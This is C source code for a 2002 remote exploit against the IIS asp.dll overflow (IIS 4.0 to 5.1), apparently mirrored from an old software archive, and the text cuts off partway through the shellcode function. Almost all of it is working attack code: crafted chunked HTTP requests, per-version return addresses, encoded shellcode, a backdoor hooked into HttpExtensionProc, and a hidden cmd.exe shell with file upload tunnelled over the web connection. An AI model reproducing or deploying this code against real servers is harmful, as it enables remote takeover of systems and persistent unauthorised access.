home *** CD-ROM | disk | FTP | other *** search
- /*
- aspcode.c ver1.0
- iis4.0¡¢iis5.0¡¢iis5.1 asp.dll overflow program
- copy by yuange <yuange@nsfocus.com> 2002.4.24
- */
- #include <windows.h>
- #include <winsock.h>
- #include <stdio.h>
- #include <httpext.h>
- #pragma comment(lib,"ws2_32")
- //#define RETEIPADDR eipwin2000
- #define FNENDLONG 0x08
- #define NOPCODE 0x90
- #define NOPLONG 0x50
- #define BUFFSIZE 0x20000
- #define PATHLONG 0x12
- #define RETEIPADDRESS 0x468
- #define SHELLBUFFSIZE 0x800
- #define SHELLFNNUMS 14
- #define DATABASE 0x61
- #define DATAXORCODE 0x55
- #define LOCKBIGNUM 19999999
- #define LOCKBIGNUM2 13579139
- #define MCBSIZE 0x8
- #define MEMSIZE 0xb200
- #define SHELLPORT 0x1f90 //0x1f90=8080
- #define WEBPORT 80
- void shellcodefnlock();
- void shellcodefnlock2();
- void shellcodefn(char *ecb);
- void shellcodefn2(char *ecb);
- void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int
- len);
- void iisput(int fd,char *str);
- void iisget(int fd,char *str);
- void iiscmd(int fd,char *str);
- void iisreset();
- void iisdie();
- void iishelp();
- int newrecv(int fd,char *buff,int size,int flag);
- int newsend(int fd,char *buff,int size,int flag);
- int xordatabegin;
- int lockintvar1,lockintvar2;
- char lockcharvar;
- int main(int argc, char **argv)
- {
- char *server;
- char *str="LoadLibraryA""\x0""CreatePipe""\x0"
- "CreateProcessA""\x0""CloseHandle""\x0"
- "PeekNamedPipe""\x0"
- "ReadFile""\x0""WriteFile""\x0"
- "CreateFileA""\x0"
- "GetFileSize""\x0"
- "GetLastError""\x0"
- "Sleep""\x0"
- "\x09""ntdll.dll""\x0""RtlEnterCriticalSection""\x0"
- "\x09""asp.dll""\x0""HttpExtensionProc""\x0"
- "\x09""msvcrt.dll""\x0""memcpy""\x0""\x0"
- "cmd.exe""\x0""\x0d\x0a""exit""\x0d\x0a""\x0"
- "XORDATA""\x0""xordatareset""\x0"
- "strend";
- // char buff0[]="TRACK / HTTP/1.1\nHOST:";
- char buff1[]="GET /";
- char buff2[]="default.asp";
- char *buff2add;
- char buff3[]="?!!ko ";
- char buff4[]=" HTTP/1.1 \nHOST:";
- char buff5[]="\nContent-Type: application/x-www-form-urlencoded";
- char buff51[]="\nTransfer-Encoding:chunked";
- char buff6[]="\nContent-length: 2147506431\r\n\r\n"; //0x80000000+MEMSIZE-1
- char buff61[]="\nContent-length: 4294967295\r\n\r\n"; // 0xffffffff
- char buff7[]="\x10\x00\x01\x02\x03\x04\x05\x06\x1c\xf0\xfd\x7f\x20\x21\x00\x01";
- char buff11[]="\x02\x00\x01\x02\x03\x04\x05\x06\x22\x22\x00\x01\x22\x22\x00\x01";
- char buff10[]="\x20\x21\x00\x01\x20\x21\x00\x01";
- char buff9[]= "\x20\x21\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30";
- char buff8[]= "\x81\xec\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90";
- /*
- char
- buff10[]="\x10\x00\x01\x02\x03\x04\x05\x06\x1d\x21\x00\x01\xec\x21\x00\x01";
- char
- buff11[]="\x10\x00\x01\x02\x03\x04\x05\x06\x20\x21\x00\x01\x01\x21\x00\x01";
- char
- buff12[]="\x10\x00\x01\x02\x03\x04\x05\x06\x21\x21\x00\x01\x00\x21\x00\x01";
- char
- buff13[]="\x10\x00\x01\x02\x03\x04\x05\x06\x22\x21\x00\x01\xff\x21\x00\x01";
- char
- buff14[]="\x10\x00\x01\x02\x03\x04\x05\x06\x23\x21\x00\x01\xe4\x21\x00\x01";
- char
- buff15[]="\x10\x00\x01\x02\x03\x04\x05\x06\x24\x21\x00\x01\x90\x21\x00\x01";
- */
- char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";
- char SRLF[]="\x0d\x0a\x00\x00";
-
- char *eipexceptwin2000add;
- char eipexceptwin20002[]="\x80\x70\x9f\x74"; // push ebx ;ret address
- char eipexceptwin2000cn[]="\x73\x67\xfa\x7F"; // push ebx ;ret address
- char eipexceptwin2000[]="\x80\x70\x97\x74";
- // char eipexceptwin2000[]="\xb3\x9d\xfa\x77"; // \x01\x78";
- // call ebx address
- char eipexceptwin2000msvcrt[]="\xD3\xCB\x01\x78";
- char eipexceptwin2000sp2[]="\x02\xbc\x01\x78";
- // char eipexceptwin2000[]="\x0B\x08\x5A\x68";
- // char eipexceptwin2000[]="\x32\x8d\x9f\x74";
- char eipexceptwinnt[] ="\x82\x01\xfc\x7F"; // push esi ;ret address
- // char eipexceptwinnt[] ="\x2e\x01\x01\x78";
- // call esi address
- // char eipexcept2[]="\xd0\xae\xdc\x77"; //
- char buff[BUFFSIZE];
- char recvbuff[BUFFSIZE];
- char shellcodebuff[BUFFSIZE];
- char shellcodebuff2[BUFFSIZE];
- struct sockaddr_in s_in2,s_in3;
- struct hostent *he;
- char *shellcodefnadd,*chkespadd;
- unsigned int sendpacketlong,buff2long,shelladd,packlong;
- int i,j,k,l,strheadlong;
- unsigned char temp;
- int fd;
- u_short port,port1,shellcodeport;
- SOCKET d_ip;
- WSADATA wsaData;
- int offset=0;
- int OVERADD=RETEIPADDRESS;
- int result;
- fprintf(stderr,"\n IIS ASP.DLL OVERFLOW PROGRAM 2.0 .");
- fprintf(stderr,"\n copy by yuange 2002.4.24.");
- fprintf(stderr,"\n welcome to my homepage http://yuange.yeah.net .");
- fprintf(stderr,"\n welcome to http://www.nsfocus.com .");
- fprintf(stderr,"\n usage: %s <server> [aspfile] [webport] [winxp] \n",argv[0]);
- buff2add=buff2;
- if(argc <2){
- fprintf(stderr,"\n please enter the web server:");
- gets(recvbuff);
- for(i=0;i<strlen(recvbuff);++i){
- if(recvbuff[i]!=' ') break;
- }
- server=recvbuff;
- if(i<strlen(recvbuff)) server+=i;
- fprintf(stderr,"\n please enter the .asp filename:");
- gets(shellcodebuff);
- for(i=0;i<strlen(shellcodebuff);++i){
- if(shellcodebuff[i]!=' ') break;
- }
- buff2add=shellcodebuff+i;
- printf("\n .asp file name:%s\n",buff2add);
- }
- eipexceptwin2000add=eipexceptwin2000;
- // printf("\n argc%d argv%s",argc,argv[5]);
- if(argc>5){
- if(strcmp(argv[5],"cn")==0) {
- eipexceptwin2000add=eipexceptwin2000cn;
- printf("\n For the cn system.\n");
- }
- if(strcmp(argv[5],"sp0")==0) {
- eipexceptwin2000add=eipexceptwin20002;
- printf("\n For the sp0 system.\n");
- }
- if(strcmp(argv[5],"msvcrt")==0) {
- eipexceptwin2000add=eipexceptwin2000msvcrt;
- printf("\n Use msvcrt.dll JMP to shell.\n");
- }
- if(strcmp(argv[5],"sp2")==0) {
- eipexceptwin2000add=eipexceptwin2000sp2;
- printf("\n Use sp2 msvcrt.dll JMP to shell.\n");
- }
- }
- result= WSAStartup(MAKEWORD(1, 1), &wsaData);
- if (result != 0) {
- fprintf(stderr, "Your computer was not connected "
- "to the Internet at the time that "
- "this program was launched, or you "
- "do not have a 32-bit "
- "connection to the Internet.");
- exit(1);
- }
- /*
- if(argc>4){
- offset=atoi(argv[4]);
- }
- // OVERADD+=offset;
- // packlong=0x10000-offset+0x8;
- if(offset<-0x20||offset>0x20){
- fprintf(stderr,"\n offset error !offset -32 --- +32 .");
- gets(buff);
- exit(1);
- }
- */
- if(argc <2){
- // WSACleanup( );
- // exit(1);
- }
- else server = argv[1];
- for(i=0;i<strlen(server);++i){
- if(server[i]!=' ')
- break;
- }
- if(i<strlen(server)) server+=i;
- for(i=0;i+3<strlen(server);++i){
-
- if(server[i]==':'){
- if(server[i+1]=='\\'||server[i+1]=='/'){
- if(server[i+2]=='\\'||server[i+2]=='/'){
- server+=i;
- server+=3;
- break;
- }
- }
- }
- }
- for(i=1;i<=strlen(server);++i){
- if(server[i-1]=='\\'||server[i-1]=='/') server[i-1]=0;
- }
- d_ip = inet_addr(server);
- if(d_ip==-1){
- he = gethostbyname(server);
- if(!he)
- {
- WSACleanup( );
- printf("\n Can't get the ip of %s !\n",server);
- gets(buff);
- exit(1);
- }
- else memcpy(&d_ip, he->h_addr, 4);
- }
-
- if(argc>3) port=atoi(argv[3]);
- else port=WEBPORT;
- if(port==0) port=WEBPORT;
- fd = socket(AF_INET, SOCK_STREAM,0);
- i=8000;
- setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i));
-
- s_in3.sin_family = AF_INET;
- s_in3.sin_port = htons(port);
- s_in3.sin_addr.s_addr = d_ip;
- printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port));
-
- if(connect(fd, (struct sockaddr *)&s_in3, sizeof(struct
- sockaddr_in))!=0)
- {
- closesocket(fd);
- WSACleanup( );
- fprintf(stderr,"\n connect err.");
- gets(buff);
- exit(1);
- }
-
- _asm{
- mov ESI,ESP
- cmp ESI,ESP
- }
- _chkesp();
- chkespadd=_chkesp;
- temp=*chkespadd;
- if(temp==0xe9) {
- ++chkespadd;
- i=*(int*)chkespadd;
- chkespadd+=i;
- chkespadd+=4;
- }
- /*
- shellcodefnadd=shellcodefnlock;
- temp=*shellcodefnadd;
- if(temp==0xe9) {
- ++shellcodefnadd;
- k=*(int *)shellcodefnadd;
- shellcodefnadd+=k;
- shellcodefnadd+=4;
- }
- for(k=0;k<=0x500;++k){
- if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
- }
- */
- memset(buff,NOPCODE,BUFFSIZE);
- /*
- strcpy(buff,buff0);
- if(argc>6) strcat(buff,argv[6]);
- else strcat(buff,server);
- strcat(buff,"\r\n\r\n"); //Proxy_Connection: Keep-Alive\r\n");
-
- strcat(buff,buff1);
- */
- strcpy(buff,buff1);
- strheadlong=strlen(buff);
- OVERADD+=strheadlong-1;
-
- if(argc>2) buff2add=argv[2];
- for(;;++buff2add){
- temp=*buff2add;
- if(temp!='\\'&&temp!='/') break;
- }
- // printf("\nfile:%s",buff2add);
- buff2long=strlen(buff2add);
- strcat(buff,buff2add);
- // fprintf(stderr,"\n offset:%d\n",offset);
- // offset+=strheadlong-strlen(buff1);
-
- /*
- for(i=0x404;i<=0x500;i+=8){
- memcpy(buff+offset+i,"\x42\x42\x42\x2d",4); // 0x2d sub eax,num32
- memcpy(buff+offset+i+4,eipexceptwin2000add,4);
- }
- if(argc>5){
- if(strcmp(argv[5],"sp2")==0) {
- memcpy(buff+offset+i,"\x58",1);
- }
- }
- for(i=0x220;i<=0x380;i+=8){
- memcpy(buff+offset+i,"\x42\x42\x42\x2d",4); // 0x2d sub eax,num32
- memcpy(buff+offset+i+4,eipexceptwinnt,4);
- }
- for(i=0x580;i<=0x728;i+=8){
- memcpy(buff+offset+i,"\x42\x42\x42\x2d",4); // 0x2d sub eax,num32
- memcpy(buff+offset+i+4,eipexceptwinnt,4);
- }
- */
- // winnt 0x2cc or 0x71c win2000 0x130 or 0x468
- // memcpy(buff+offset+i+8,exceptret,strlen(exceptret));
- shellcodefnadd=shellcodefnlock;
- temp=*shellcodefnadd;
- if(temp==0xe9) {
- ++shellcodefnadd;
- k=*(int *)shellcodefnadd;
- shellcodefnadd+=k;
- shellcodefnadd+=4;
- }
- for(k=0;k<=0x500;++k){
- if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
- }
- memset(shellcodebuff2,NOPCODE,BUFFSIZE);
- i=0x1000;
- memcpy(shellcodebuff2+i+4,shellcodefnadd+k+8,0x100);
-
- shellcodefnadd=shellcodefn;
- temp=*shellcodefnadd;
- if(temp==0xe9) {
- ++shellcodefnadd;
- k=*(int *)shellcodefnadd;
- shellcodefnadd+=k;
- shellcodefnadd+=4;
- }
-
- for(k=0;k<=BUFFSIZE;++k){
- if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break;
- }
- // k+=0x
- memcpy(shellcodebuff,shellcodefnadd,k); //j);
- cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k);
- for(j=0;j<0x400;++j){
- if(memcmp(str+j,"strend",6)==0) break;
- }
- memcpy(shellcodebuff+k,str,j);
- sendpacketlong=k+j;
- for(k=0;k<=0x200;++k){
- if(memcmp(shellcodebuff2+i+4+k,fnendstr,FNENDLONG)==0) break;
- }
- for(j=0;j<sendpacketlong;++j){
- temp=shellcodebuff[j];
- // temp^=DATAXORCODE;
- shellcodebuff2[i+4+k]=DATABASE+temp/0x10;
- ++k;
- shellcodebuff2[i+4+k]=DATABASE+temp%0x10;
- ++k;
- }
- j=i+k;
- j=j%8+3;
- shellcodebuff2[i+j+k]=0;
- // j=strlen(shellcodebuff2)%8+3;
- for(j=0;j<=0xe000;j+=4){
- strcat(shellcodebuff2,"\x41\x41\x41\x41"); // 0x2d sub eax,num32
- // strcat(shellcodebuff2,eipexceptwin2000cn);
- }
- /*
- strcat(shellcodebuff2,"\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0f\x66\x83\
- x6c\x24\x02\x01\x66\x81\x2c\x24\x01\x01\xff\x24\x24\xe8\xec\xff\xff\xff\
- x90");
- for(j=0;j<=0xb00;j+=4){
- strcat(shellcodebuff2,"\x90\x90\x90\x2d"); // 0x2d sub eax,num32
- }
- */
- // printf("\nbuff:%s",buff);
- printf("\n shellcode long 0x%x\n",sendpacketlong);
- if(argc>4&&strcmp(argv[4],"apache")==0){
- strcat(buff," ");
- }
- else strcat(buff,buff3);
- printf("\n packetlong:0x%x\n",sendpacketlong);
- strcat(buff,buff4);
- if(argc>6) strcat(buff,argv[6]);
- else strcat(buff,server);
- strcat(buff,buff5);
- if(argc>4&&strcmp(argv[4],"apache")==0) strcat(buff," ");
- else strcat(buff,shellcodebuff2);
- // strcat(buff,buff51);
- if(argc>4&&(strcmp(argv[4],"winxp")==0||strcmp(argv[4],"apache")==0)) {
- printf("\n for %s system\n",argv[4]);
- strcat(buff,buff61);
- }
- else strcat(buff,buff6);
- // printf("\n send buff:\n%s",buff);
- /*
- i=strlen(buff);
- memset(buff+i,'a',0xc000);
- memset(buff+i+0xc000-strlen(buff7),0,1);
- strcat(buff+i+0xc000-0x10-strlen(buff7),buff7);
- */
- // strcpy(buff8,buff7);
- /* temp=buff7[5];
- temp-=offset*0x10;
- buff7[5]=temp;
- i=*(int *)(buff7+4)+2;
- printf("\nSEH=0x%x\n",i);
- */
- /*
- for(i=0;i<8;++i){
- temp=buff7[i];
- printf("%2x",temp);
- }
- */
- /*
- for(i=0;i<0xc000/0x10;++i){
- strcat(buff,buff7);
- }
- */
- // printf("\nbuff=%s\n",buff);
- // strcat(buff,"\r\n");
- // printf("\n send buff:\n%s",buff);
- // strcpy(buff+OVERADD+NOPLONG,shellcode);
- sendpacketlong=strlen(buff);
- // printf("buff:\n%s",buff+0x10000);
- /*
- #ifdef DEBUG
- _asm{
- lea esp,buff
- add esp,OVERADD
- ret
- }
- #endif
- */
- lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- xordatabegin=0;
- for(i=0;i<1;++i){
- j=sendpacketlong;
- // buff[0x2000]=0;
- fprintf(stderr,"\n send packet %d bytes.",j);
- // gets(buff);
- send(fd,buff,j,0);
- buff7[0]=MCBSIZE;
-
- j=MEMSIZE+0x10;
- i=0;
- if(argc>4&&strcmp(argv[4],"winxp")==0)
- {
- j=0x18;
- i=8;
- }
- for(k=0;i<0xc000;i+=0x10){
- if(i>=j) {
-
- k=((i-j)/(MCBSIZE*8));
- if(k<=6){
- memcpy(buff7+0x8,buff10,8);
- buff7[0x8]=buff8[k];
- buff7[0xc]=buff9[k];
- }
- else memcpy(buff7,buff11,0x10);
- }
- memcpy(buff+i,buff7,0x10);
-
- }
- if(argc>4&&strcmp(argv[4],"apache")==0){
- for(k=0xb000;k<=0xc000;k+=2)
- {
- memset(buff+k,0x0d,1);
- memset(buff+k+1,0x0a,1);
- }
- buff[0xc000]=0;
- // for(k=0;k<0x10;++k) send(fd,buff,0xc000,0);
- // printf("\nbuff:%s\n",buff);
- }
- else send(fd,buff,0xc000,0);
-
- k=0;
- ioctlsocket(fd, FIONBIO, &k);
- j=0;
- while(j==0){
- k=newrecv(fd,recvbuff,BUFFSIZE,0);
- if(k>=8&&strstr(recvbuff,"XORDATA")!=0) {
- xordatabegin=1;
- fprintf(stderr,"\n ok!recv %d bytes\n",k);
- recvbuff[k]=0;
- // printf("\n recv:%s",recvbuff);
- // for(k-=8,j=0;k>0;k-=4,++j)printf("recvdata:0x%x\n",*(int
- *)(recvbuff+8+4*j));
- k=-1;
- j=1;
- }
- if(k>0){
- recvbuff[k]=0;
- fprintf(stderr,"\n recv:\n %s",recvbuff);
- }
- }
- }
- k=1;
- ioctlsocket(fd, FIONBIO, &k);
- // fprintf(stderr,"\n now begin: \n");
- /*
- for(i=0;i<strlen(SRLF);++i){
- SRLF[i]^=DATAXORCODE;
- }
- send(fd,SRLF,strlen(SRLF),0);
- send(fd,SRLF,strlen(SRLF),0);
- send(fd,SRLF,strlen(SRLF),0);
- */
- k=1;
- l=0;
- while(k!=0){
- if(k<0){
- l=0;
- i=0;
- while(i==0){
- gets(buff);
- if(memcmp(buff,"iish",4)==0){
- iishelp();
- i=2;
- }
- if(memcmp(buff,"iisput",6)==0){
- iisput(fd,buff+6);
- i=2;
- }
- if(memcmp(buff,"iisget",6)==0){
- iisget(fd,buff+6);
- i=2;
- }
- if(memcmp(buff,"iiscmd",6)==0){
- iiscmd(fd,buff+6);
- i=2;
- }
- if(memcmp(buff,"iisreset",8)==0){
- iisreset(fd,buff+6);
- i=2;
- }
- if(memcmp(buff,"iisdie",6)==0){
- iisdie(fd,buff+6);
- i=2;
- }
- if(i==2)i=0;
- else i=1;
- }
-
- k=strlen(buff);
-
- memcpy(buff+k,SRLF,3);
- // send(fd,SRLF,strlen(SRLF),0);
- // fprintf(stderr,"%s",buff);
- /*
- for(i=0;i<k+2;++i){
- lockintvar2=lockintvar2*0x100;
- lockintvar2=lockintvar2%LOCKBIGNUM;
- lockcharvar=lockintvar2%0x100;
- buff[i]^=lockcharvar; // DATAXORCODE;
- // buff[i]^=DATAXORCODE;
- }
- send(fd,buff,k+2,0);
- */
- newsend(fd,buff,k+2,0);
- // send(fd,SRLF,strlen(SRLF),0);
- }
- k=newrecv(fd,buff,BUFFSIZE,0);
- if(xordatabegin==0&&k>=8&&strstr(buff,"XORDATA")!=0) {
- xordatabegin=1;
- k=-1;
- }
- if(k>0){
- // fprintf(stderr,"recv %d bytes",k);
- /*
- if(xordatabegin==1){
- for(i=0;i<k;++i){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- buff[i]^=lockcharvar; // DATAXORCODE;
- }
- }
- */
- l=0;
- buff[k]=0;
- fprintf(stderr,"%s",buff);
- }
- else{
- Sleep(20);
- if(l<20) k=1;
- ++l;
-
- }
- // if(k==0) break;
- }
- closesocket(fd);
- WSACleanup( );
- fprintf(stderr,"\n the server close connect.");
- gets(buff);
- return(0);
- }
- void shellcodefnlock()
- {
- _asm{
- nop
- nop
- nop
- nop
- nop
- nop
- nop
- nop
-
- jmp next1
- getediadd: pop edi
- mov esp,edi
- and esp,0xfffff0f0
- jmp next2
- getshelladd:
- push 0x01
- mov eax,edi
- inc eax
- inc eax
- inc eax
- inc eax
- inc eax
- mov edi,eax
- mov esi,edi
- // sub sp,8
- xor ecx,ecx
- looplock: lodsb
- cmp al,cl
- jz shell
- sub al,DATABASE
- mov ah,al
- lodsb
- sub al,DATABASE
- shl ah,4
- add al,ah
- // lea eax,ptr word [edx*4+al]
- stosb
- jmp looplock
- next1: call getediadd
- next2: call getshelladd
- shell:
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
-
-
- }
- }
- void shellcodefn(char *ecb)
- { char Buff[SHELLBUFFSIZE+2];
- int *except[3];
- FARPROC memcpyadd;
- FARPROC msvcrtdlladd;
- FARPROC HttpExtensionProcadd;
- FARPROC Aspdlladd;
-
- FARPROC RtlEnterCriticalSectionadd;
- FARPROC Ntdlladd;
- FARPROC Sleepadd;
- FARPROC GetLastErroradd;
- FARPROC GetFileSizeadd;
- FARPROC CreateFileAadd;
- FARPROC WriteFileadd;
- FARPROC ReadFileadd;
- FARPROC PeekNamedPipeadd;
- FARPROC CloseHandleadd;
- FARPROC CreateProcessadd;
- FARPROC CreatePipeadd;
- FARPROC procloadlib;
- FARPROC apifnadd[1];
- FARPROC procgetadd=0;
- FARPROC writeclient;
- FARPROC readclient;
- HCONN ConnID;
- FARPROC shellcodefnadd=ecb;
- char *stradd,*stradd2,*dooradd;
- int imgbase,fnbase,i,k,l,thedoor;
- HANDLE libhandle;
- int fpt; //libwsock32;
- STARTUPINFO siinfo;
- PROCESS_INFORMATION ProcessInformation;
- HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
- int lBytesRead;
- int lockintvar1,lockintvar2;
- char lockcharvar;
- int shelllocknum;
- // unsigned char temp;
- SECURITY_ATTRIBUTES sa;
-
- _asm { jmp nextcall
- getstradd: pop stradd
- lea EDI,except
- mov eax,dword ptr FS:[0]
- mov dword ptr [edi+0x08],eax
- mov dword ptr FS:[0],EDI
- }
- except[0]=0xffffffff;
- except[1]=stradd-0x07;
- imgbase=0x77e00000;
- _asm{
- call getexceptretadd
- }
- for(;imgbase<0xbffa0000,procgetadd==0;){
- imgbase+=0x10000;
- if(imgbase==0x78000000) imgbase=0xbff00000;
- if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
- *)(imgbase+0x3c))=='EP'){
- fnbase=*(int *)(imgbase+*(int
- *)(imgbase+0x3c)+0x78)+imgbase;
- k=*(int *)(fnbase+0xc)+imgbase;
- if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
- libhandle=imgbase;
- k=imgbase+*(int *)(fnbase+0x20);
- for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
- if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int
- *)(4+imgbase+*(int *)k)=='Acor')
- {
- k=*(WORD *)(l+l+imgbase+*(int
- *)(fnbase+0x24));
- k+=*(int *)(fnbase+0x10)-1;
- k=*(int *)(k+k+k+k+imgbase+*(int
- *)(fnbase+0x1c));
- procgetadd=k+imgbase;
- break;
- }
- }
- }
- }
- }
- //ËÑË÷KERNEL32¡£DLLÄ£¿éµØÖ·ºÍAPIº¯Êý GetProcAddressµØÖ·
- //×¢ÒâÕâ¶ù´¦ÀíÁËËÑË÷Ò³Ãæ²»ÔÚÇé¿ö¡£
- if(procgetadd==0) goto die ;
- i=stradd;
- for(k=1;*stradd!=0;++k) {
- if(*stradd==0x9) libhandle=procloadlib(stradd+1);
- else apifnadd[k]=procgetadd(libhandle,stradd);
- for(;*stradd!=0;++stradd){
- }
- ++stradd;
- }
- ++stradd;
- k=0x7ffdf020;
- *(int *)k=RtlEnterCriticalSectionadd;
- k=stradd;
- stradd=i;
- thedoor=0;
- i=0;
- _asm{
- jmp getdoorcall
- getdooradd: pop dooradd;
- mov l,esp
- call getexceptretadd
- }
- if(i==0){
- ++i;
- if(*(int *)ecb==0x90){
- if(*(int *)(*(int *)(ecb+0x64))=='ok!!') {
- i=0;
- thedoor=1;
- }
- }
- }
- if(i!=0){
- *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
- *(int *)(dooradd-0x13)=shellcodefnadd;
- ecb=0;
- _asm{
- call getexceptretadd
- }
- i=ecb;
- i&=0xfffff000;
- ecb=i;
- ecb+=0x1000;
- for(;i<l;++i,++ecb)
- {
- if(*(int *)ecb==0x90){
- if(*(int *)(ecb+8)==(int *)ecb){
- if(*(int *)*(int *)(ecb+0x64)=='ok!!') break;
- }
- }
- }
- i=0;
- _asm{
- call getexceptretadd
- }
- i&=0xfffff000;
- i+=0x1000;
- for(;i<l;++i){
- if(*(int *)i==HttpExtensionProcadd){
- *(int *)i=dooradd-7;
- // break;
- }
- }
- // *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
-
- }
- writeclient= *(int *)(ecb+0x84);
- readclient = *(int *)(ecb+0x88);
- ConnID = *(int *)(ecb+8) ;
- stradd=k;
- _asm{
- lea edi,except
- mov eax,dword ptr [edi+0x08]
- mov dword ptr fs:[0],eax
- }
- if(thedoor==0){
- _asm{
- mov eax,0xffffffff
- mov dword ptr fs:[0],eax
- }
- }
- stradd2=stradd;
- stradd+=8;
- k=0x20;
- writeclient(ConnID,*(int *)(ecb+0x6c),&k,0);
- k=8;
- writeclient(ConnID,stradd+9,&k,0);
- // Sleepadd(100);
-
- shelllocknum=LOCKBIGNUM2;
- if(*(int *)*(int *)(ecb+0x64)=='ok!!'&&*(int *)(*(int
- *)(ecb+0x64)+4)=='notx') shelllocknum=0;
-
- // iiscmd:
- lockintvar1=shelllocknum%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- iiscmd:
- /*
- lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- */
- sa.nLength=12;
- sa.lpSecurityDescriptor=0;
- sa.bInheritHandle=TRUE;
- CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
- CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
- // ZeroMemory(&siinfo,sizeof(siinfo));
- _asm{
- lea EDI,siinfo
- xor eax,eax
- mov ecx,0x11
- repnz stosd
- }
- siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
- siinfo.wShowWindow = SW_HIDE;
- siinfo.hStdInput = hReadPipe2;
- siinfo.hStdOutput=hWritePipe1;
- siinfo.hStdError =hWritePipe1;
- k=0;
- // while(k==0)
- // {
- k=CreateProcessadd(NULL,stradd2,NULL,NULL,1,0,NULL,NULL,&siinfo,
- &ProcessInformation);
- // stradd+=8;
- // }
- Sleepadd(200);
- // PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0
- );
-
-
- i=0;
- while(1) {
- PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
- if(lBytesRead>0) {
- i=0;
- ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
- if(lBytesRead>0) {
- for(k=0;k<lBytesRead;++k){
- lockintvar2=lockintvar2*0x100;
- lockintvar2=lockintvar2%LOCKBIGNUM;
- lockcharvar=lockintvar2%0x100;
- Buff[k]^=lockcharvar; // DATAXORCODE;
- // Buff[k]^=DATAXORCODE;
- }
- writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
- // Sleepadd(20);
- }
- }
- else{
- // Sleepadd(10);
- l=0;
- if(i<50){
- l=1;
- ++i;
- k=1;
- lBytesRead=0;
- }
-
-
-
- while(l==0){
- i=0;
- lBytesRead=SHELLBUFFSIZE;
- k=readclient(ConnID,Buff,&lBytesRead);
- for(l=0;l<lBytesRead;++l){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- Buff[l]^=lockcharvar; // DATAXORCODE;
- }
-
- if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
- ff[2]=='s'&&Buff[3]=='c'&&Buff[4]==' '){
- k=8;
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
- cmd.exe
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
- cmd.exe
- stradd2=Buff+5;
- Buff[lBytesRead]=0;
- goto iiscmd;
- }
- if(k==1&&lBytesRead>=5&&Buff[0]=='r'&&Buff[1]=='e'&&Bu
- ff[2]=='s'&&Buff[3]=='e'&&Buff[4]=='t'){
-
-
- lBytesRead=0x0c;
- writeclient(ConnID,stradd+0x11,&lBytesRead,0);
- lockintvar1=shelllocknum%LOCKBIGNUM;
- lockintvar2=lockintvar1;
- lBytesRead=0;
- }
- if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
- ff[2]=='s'&&Buff[3]=='r'&&Buff[4]=='r'){
- k=8;
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
- cmd.exe
- WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
- cmd.exe
- *(int *)(dooradd-0x0c)=0;
- Sleepadd(0x7fffffff);
- _asm{
- mov eax,0
- mov esp,0
- jmp eax
- }
- }
-
-
- if(k==1&&lBytesRead>4&&Buff[0]=='p'&&Buff[1]=='u'&&Buff[2]=='t'&&Buff[3]
- ==' ')
- {
- l=*(int *)(Buff+4);
- //
- WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
- fpt=CreateFileAadd(Buff+0x8,FILE_FLAG_WRITE_THROUGH+
- GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
- );
- k=GetLastErroradd();
- i=0;
- while(l>0){
- lBytesRead=SHELLBUFFSIZE;
- k=readclient(ConnID,Buff,&lBytesRead);
- if(k==1){
- if(lBytesRead>0){
- for(k=0;k<lBytesRead;++k){
- lockintvar1=lockintvar1*0x100;
- lockintvar1=lockintvar1%LOCKBIGNUM;
- lockcharvar=lockintvar1%0x100;
- Buff[k]^=lockcharvar; //
- DATAXORCODE;
- }
-
- l-=lBytesRead;
- // if(fpt>0)
-
- WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
- // else Sleepadd(010);
- }
-
- // if(i>100) l=0;
- }
- else {
- Sleepadd(0100);
- ++i;
- }
- if(i>10000) l=0;
- }
-
- CloseHandleadd(fpt);
- l=0;
- }
- else{
-
